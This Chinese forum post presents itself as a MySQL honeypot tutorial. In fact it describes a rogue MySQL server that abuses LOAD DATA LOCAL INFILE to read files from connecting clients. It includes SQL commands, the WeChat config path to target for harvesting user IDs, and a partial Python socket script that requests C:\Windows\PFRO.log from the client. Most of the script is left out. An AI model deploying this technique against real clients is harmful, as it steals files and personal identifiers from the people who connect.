揭秘MySQL密码的未知事实

本文介绍如何搭建一个MySQL蜜罐,通过模拟攻击者的登录尝试,获取其相关信息。请注意,这仅供学习和研究之用,我们坚决反对任何危害网络安全的行为。


实验环境设置:

首先,在我们的实验环境中,创建一个远程可登录的数据库。

图片[1]-揭秘MySQL密码的未知事实-山海云端论坛

攻击过程分析:

思路:当攻击者尝试通过暴力破解等手段登录数据库时,我们可以收集到攻击者的相关信息,如微信ID、手机号码等。


信息验证:

  • 微信ID:可在微信文件路径WeChat Files/All Users/config/config.data中找到。
  • 截取网络包:使用WireShark抓包,选择对应网卡并指定3306端口。

文件读取过程:

接下来,我们通过模拟MySQL命令读取本地MySQL服务器中的文件。这可以通过加载数据表的方式进行。

use dabiaoge; # 进入数据库
create table student(id varchar(8)); # 创建一个student表
load data local infile “D:/1.txt” into table student; # 将文件内容读取,并写入数据库

图片[2]-揭秘MySQL密码的未知事实-山海云端论坛

网络请求分析:

在Linux环境中,我们使用LOAD DATA LOCAL命令来读取MYSQL客户端的文件,

图片[3]-揭秘MySQL密码的未知事实-山海云端论坛

然后伪造恶意服务器向连接到这个服务器的客户端发送读取文件的payload。

图片[4]-揭秘MySQL密码的未知事实-山海云端论坛

Python脚本参考:

以下是一个Python脚本示例,通过socket模块模拟MySQL认证的流程,实现获取对方信息的目的。

省略了一部分代码

def get_data(filename, client, addr):
# 省略了一部分代码

while True:
client, addr = server.accept()
# 省略了一部分代码
version_text = b”…” # 版本信息
client.sendall(version_text)
try:
client.recv(9999)
except Exception as e:
print(e)
verification = b”\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00″
client.sendall(verification)
try:
client.recv(9999)
except Exception as e:
print(e)
filename = “C:\Windows\PFRO.log”
get_data(filename, client, addr)
client.close()

当目标进行登录时,我们能够获得其信息。

图片[5]-揭秘MySQL密码的未知事实-山海云端论坛

注意事项:

由于环境等问题,高版本MySQL可能无法复现此过程,需要根据实际情况修改配置文件。

© 版权声明
THE END
喜欢就支持一下吧
点赞15 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容